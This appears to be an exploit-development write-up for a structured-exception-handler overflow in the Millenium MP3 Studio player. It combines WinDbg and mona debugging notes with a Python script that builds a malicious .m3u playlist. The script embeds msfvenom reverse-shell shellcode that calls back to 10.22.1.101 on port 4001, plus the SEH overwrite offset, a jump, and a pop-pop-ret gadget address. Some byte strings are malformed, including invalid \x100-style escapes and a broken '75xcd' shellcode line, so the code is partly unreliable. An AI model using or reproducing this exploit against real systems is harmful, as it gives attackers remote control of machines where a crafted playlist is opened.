

Millenium MP3

seh exploit with some twists

Windbg/mona notes

```
0:000> r
eax=00185748 ebx=00185748 ecx=00000000 edx=46376846 esi=0018471c
edi=0623c00c
eip=00403734 esp=00184708 ebp=0018577c iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00210202
MP3Studio+0x3734:
00403734 8b4af8          mov     ecx,dword ptr [edx-8]
ds:002b:4637683e=????????

> da poi(fs:[0])
00185730  "Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6"

> !exchain
00185730: 68463068
Invalid exception stack at 46396746

C:\_c\exploits>python pattern.py "Fg9F"
Pattern Fg9F first occurrence at position 4107 in pattern.

.load pykd.pyd
!py mona seh -cp nonull

0x003f0000 | 0x003f9000 | 0x00009000 | True  | False  | False  | False
| False  | 1.2.0.0 [xoutput.dll] (C:\mp3-millennium\xoutput.dll)
0x76470000 | 0x76497000 | 0x00027000 | False | True   | True   | True
| True   | 6.1.7601.17621 [CFGMR32.dll] (C:\Windows\syswow64\CFGMR32.dll)
0x00400000 | 0x005b7000 | 0x001b7000 | False | False  | False  | False
| False  | -1.0- [MP3Studio.exe] (C:\mp3-millennium\MP3Studio.exe)
...
0x75320000 | 0x75410000 | 0x000f0000 | False | True   | True   | True
| True   | 6.1.7601.23915 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x72860000 | 0x7286f000 | 0x0000f000 | False | True   | True   | True
| True   | 6.1.7601.17514 [wkscli.dll] (C:\Windows\SysWOW64\wkscli.dll)
0x729b0000 | 0x729b8000 | 0x00008000 | False | True   | True   | True
| True   | 6.1.7600.16385 [DAVHLPR.dll] (C:\Windows\SysWOW64\DAVHLPR.dll)
0x75420000 | 0x75480000 | 0x00060000 | False | True   | True   | True
| True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
0x10000000 | 0x10044000 | 0x00044000 | False | False  | False  | False
| False  | 3.0.7.0 [xaudio.dll] (C:\mp3-millennium\xaudio.dll)
```

```
0x10014e98 | 0x10014e98 : pop esi # pop ecx # ret | {PAGE_EXECUTE_READ}
[xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0
(C:\mp3-millennium\xaudio.dll)
```

```
0:000> dp fs:[0]
0053:00000000 00185e7c 00190000 00184000 00000000
0053:00000010 00001e00 00000000 7efdd000 00000000
0053:00000020 00000090 00000fd8 00000000 00752ee0
0053:00000030 7efde000 00000003 00000000 00000000
0053:00000040 00000000 00000000 00000000 00000000
0053:00000050 00000000 00000000 00000000 00000000
0053:00000060 00000000 00000000 00000000 00000000
0053:00000070 00000000 00000000 00000000 00000000
00185e7c
0:000> dp 00185e7c
00185e7c 1ceb9090 10014e98 90909090 90909090
00185e8c 90909090 90909090 00000000 90909090
00185e9c 90909090 ced99090 90fa2ebe 2474d9a0
```

some memo shortly after the seh chain is zeroed out -> jump over

Exploit code

milleniummp3.py

```
#!/usr/bin/python
#Millenium MP3 1.0

path = "C:\mp3-millennium\exploit.m3u"

pattern =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A
c3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6
Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3A
j4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7
Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao
1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4A
q5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8
As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av
2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5A
x6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc
3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6B
e7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0
Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj
```

4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7B
l8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1
Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq
5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8B
s9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2
Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx
6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9C
a0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3
Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce
7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0C
h1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4
Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl
8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1C
o2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5
Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs
9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C
v3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6
Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da
0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3D
c4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7
De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh
1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4D
j5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8
Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do
2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5D
q6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9
Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv
3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6D
x7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0
Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec
4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7E
e8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1
Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej
5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8E
l9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2
Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq
6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9E
t0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3
Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex
7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0F
a1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4
Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe
8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1F
h2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5
Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl
9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2F
o3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6
Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft
0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3F
v4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7
Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga

```
1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
```

```
#badchars =
```

```
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x100\x101\x102\x103\x104\x105\x106\x107\x108\x109\x10a\x10b\x10c\x10d\x10e\x10f\x110\x111\x112\x113\x114\x115\x116\x117\x118\x119\x11a\x11b\x11c\x11d\x11e\x11f\x120\x121\x122\x123\x124\x125\x126\x127\x128\x129\x12a\x12b\x12c\x12d\x12e\x12f\x130\x131\x132\x133\x134\x135\x136\x137\x138\x139\x13a\x13b\x13c\x13d\x13e\x13f\x140\x141\x142\x143\x144\x145\x146\x147\x148\x149\x14a\x14b\x14c\x14d\x14e\x14f\x150\x151\x152\x153\x154\x155\x156\x157\x158\x159\x15a\x15b\x15c\x15d\x15e\x15f\x160\x161\x162\x163\x164\x165\x166\x167\x168\x169\x16a\x16b\x16c\x16d\x16e\x16f\x170\x171\x172\x173\x174\x175\x176\x177\x178\x179\x17a\x17b\x17c\x17d\x17e\x17f\x180\x181\x182\x183\x184\x185\x186\x187\x188\x189\x18a\x18b\x18c\x18d\x18e\x18f\x190\x191\x192\x193\x194\x195\x196\x197\x198\x199\x19a\x19b\x19c\x19d\x19e\x19f\x1a0\x1a1\x1a2\x1a3\x1a4\x1a5\x1a6\x1a7\x1a8\x1a9\x1aa\x1ab\x1ac\x1ad\x1ae\x1af\x1b0\x1b1\x1b2\x1b3\x1b4\x1b5\x1b6\x1b7\x1b8\x1b9\x1ba\x1bb\x1bc\x1bd\x1be\x1bf\x1c0\x1c1\x1c2\x1c3\x1c4\x1c5\x1c6\x1c7\x1c8\x1c9\x1ca\x1cb\x1cc\x1cd\x1ce\x1cf\x1d0\x1d1\x1d2\x1d3\x1d4\x1d5\x1d6\x1d7\x1d8\x1d9\x1da\x1db\x1dc\x1dd\x1de\x1df\x1e0\x1e1\x1e2\x1e3\x1e4\x1e5\x1e6\x1e7\x1e8\x1e9\x1ea\x1eb\x1ec\x1ed\x1ee\x1ef\x1f0\x1f1\x1f2\x1f3\x1f4\x1f5\x1f6\x1f7\x1f8\x1f9\x1fa\x1fb\x1fc\x1fd\x1fe\x1ff"
```

```
badchars =
```

```
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x100\x101\x102\x103\x104\x105\x106\x107\x108\x109\x10b\x10c\x10d\x10e\x10f\x110\x111\x112\x113\x114\x115\x116\x117\x118\x119\x11a\x11b\x11c\x11d\x11e\x11f\x120\x121\x122\x123\x124\x125\x126\x127\x128\x129\x12a\x12b\x12c\x12d\x12e\x12f\x130\x131\x132\x133\x134\x135\x136\x137\x138\x139\x13a\x13b\x13c\x13d\x13e\x13f\x140\x141\x142\x143\x144\x145\x146\x147\x148\x149\x14a\x14b\x14c\x14d\x14e\x14f\x150\x151\x152\x153\x154\x155\x156\x157\x158\x159\x15a\x15b\x15c\x15d\x15e\x15f\x160\x161\x162\x163\x164\x165\x166\x167\x168\x169\x16a\x16b\x16c\x16d\x16e\x16f\x170\x171\x172\x173\x174\x175\x176\x177\x178\x179\x17a\x17b\x17c\x17d\x17e\x17f\x180\x181\x182\x183\x184\x185\x186\x187\x188\x189\x18a\x18b\x18c\x18d\x18e\x18f\x190\x191\x192\x193\x194\x195\x196\x197\x198\x199\x19a\x19b\x19c\x19d\x19e\x19f\x1a0\x1a1\x1a2\x1a3\x1a4\x1a5\x1a6\x1a7\x1a8\x1a9\x1aa\x1ab\x1ac\x1ad\x1ae\x1af\x1b0\x1b1\x1b2\x1b3\x1b4\x1b5\x1b6\x1b7\x1b8\x1b9\x1ba\x1bb\x1bc\x1bd\x1be\x1bf\x1c0\x1c1\x1c2\x1c3\x1c4\x1c5\x1c6\x1c7\x1c8\x1c9\x1ca\x1cb\x1cc\x1cd\x1ce\x1cf\x1d0\x1d1\x1d2\x1d3\x1d4\x1d5\x1d6\x1d7\x1d8\x1d9\x1da\x1db\x1dc\x1dd\x1de\x1df\x1e0\x1e1\x1e2\x1e3\x1e4\x1e5\x1e6\x1e7\x1e8\x1e9\x1ea\x1eb\x1ec\x1ed\x1ee\x1ef\x1f0\x1f1\x1f2\x1f3\x1f4\x1f5\x1f6\x1f7\x1f8\x1f9\x1fa\x1fb\x1fc\x1fd\x1fe\x1ff"
```

```
# msfvenom -p windows/shell_reverse_tcp lhost=10.22.1.101 lport=4001  
EXITFUNC=seh -b '\x00\x0d\x0a\x1a' -f python -e x86/shikata_ga_nai  
# 351
```

```
buf = ""
```

```
buf += "\xd9\xce\xbe\x2e\xfa\x90\xa0\xd9\x74\x24\xf4\x58\x31"
```

```
buf += "\xc9\xb1\x52\x83\xc0\x04\x31\x70\x13\x03\x5e\xe9\x72"
```

```
buf += "\x55\x62\xe5\xf1\x96\x9a\xf6\x95\x1f\x7f\xc7\x95\x44"
```

```
buf += "\xf4\x78\x26\x0e\x58\x75xcd\x42\x48\x0e\xa3\x4a\x7f"
```

```
buf += "\xa7\x0e\xad\x4e\x38\x22\x8d\xd1\xba\x39\xc2\x31\x82"
```

```

buf += "\xf1\x17\x30\xc3\xec\xda\x60\x9c\x7b\x48\x94\xa9\x36"
buf += "\x51\x1f\xe1\xd7\xd1\xfc\xb2\xd6\xf0\x53\xc8\x80\xd2"
buf += "\x52\x1d\xb9\x5a\x4c\x42\x84\x15\xe7\xb0\x72\xa4\x21"
buf += "\x89\x7b\x0b\x0c\x25\x8e\x55\x49\x82\x71\x20\xa3\xf0"
buf += "\x0c\x33\x70\x8a\xca\xb6\x62\x2c\x98\x61\x4e\xcc\x4d"
buf += "\xf7\x05\xc2\x3a\x73\x41\xc7\xbd\x50\xfa\xf3\x36\x57"
buf += "\x2c\x72\x0c\x7c\xe8\xde\xd6\x1d\xa9\xba\xb9\x22\xa9"
buf += "\x64\x65\x87\xa2\x89\x72\xba\xe9\xc5\xb7\xf7\x11\x16"
buf += "\xd0\x80\x62\x24\x7f\x3b\xec\x04\x08\xe5\xeb\x6b\x23"
buf += "\x51\x63\x92\xcc\xa2\xaa\x51\x98\xf2\xc4\x70\xa1\x98"
buf += "\x14\x7c\x74\x0e\x44\xd2\x27\xef\x34\x92\x97\x87\x5e"
buf += "\x1d\xc7\xb8\x61\xf7\x60\x52\x98\x90\x84\xb5\xa3\x05"
buf += "\xf1\xbb\xa3\xca\xa0\x35\x45\xbe\xb2\x13\xde\x57\x2a"
buf += "\x3e\x94\xc6\xb3\x94\xd1\xc9\x38\x1b\x26\x87\xc8\x56"
buf += "\x34\x70\x39\x2d\x66\xd7\x46\x9b\x0e\xbb\xd5\x40\xce"
buf += "\xb2\xc5\xde\x99\x93\x38\x17\x4f\x0e\x62\x81\x6d\xd3"
buf += "\xf2\xea\x35\x08\xc7\xf5\xb4\xdd\x73\xd2\xa6\x1b\x7b"
buf += "\x5e\x92\xf3\x2a\x08\x4c\xb2\x84\xfa\x26\x6c\x7a\x55"
buf += "\xae\xe9\xb0\x66\xa8\xf5\x9c\x10\x54\x47\x49\x65\x6b"
buf += "\x68\x1d\x61\x14\x94\xbd\x8e\xcf\x1c\xc3\x7f\xdd\x88"
buf += "\x54\x26\xb4\xf0\x38\xd9\x63\x36\x45\x5a\x81\xc7\xb2"
buf += "\x42\xe0\xc2\xff\xc4\x19\xbf\x90\xa0\x1d\x6c\x90\xe0"

```

```
shellcode = buf
```

```

buffer = "http://"
buffer += 'A'*4103
#buffer+= "\xcc\xcc\xcc\xcc" # break points
buffer += "\x90\x90\xeb\x1c" # jmp 06
buffer += "\x98\x4e\x01\x10" # address of pop pop ret
buffer += "\x90"*30
buffer += shellcode

```

```
buffer += 'B' * (5000 - len(buffer))
```

```

f = open(path, "w")
f.write(buffer)
f.close()

```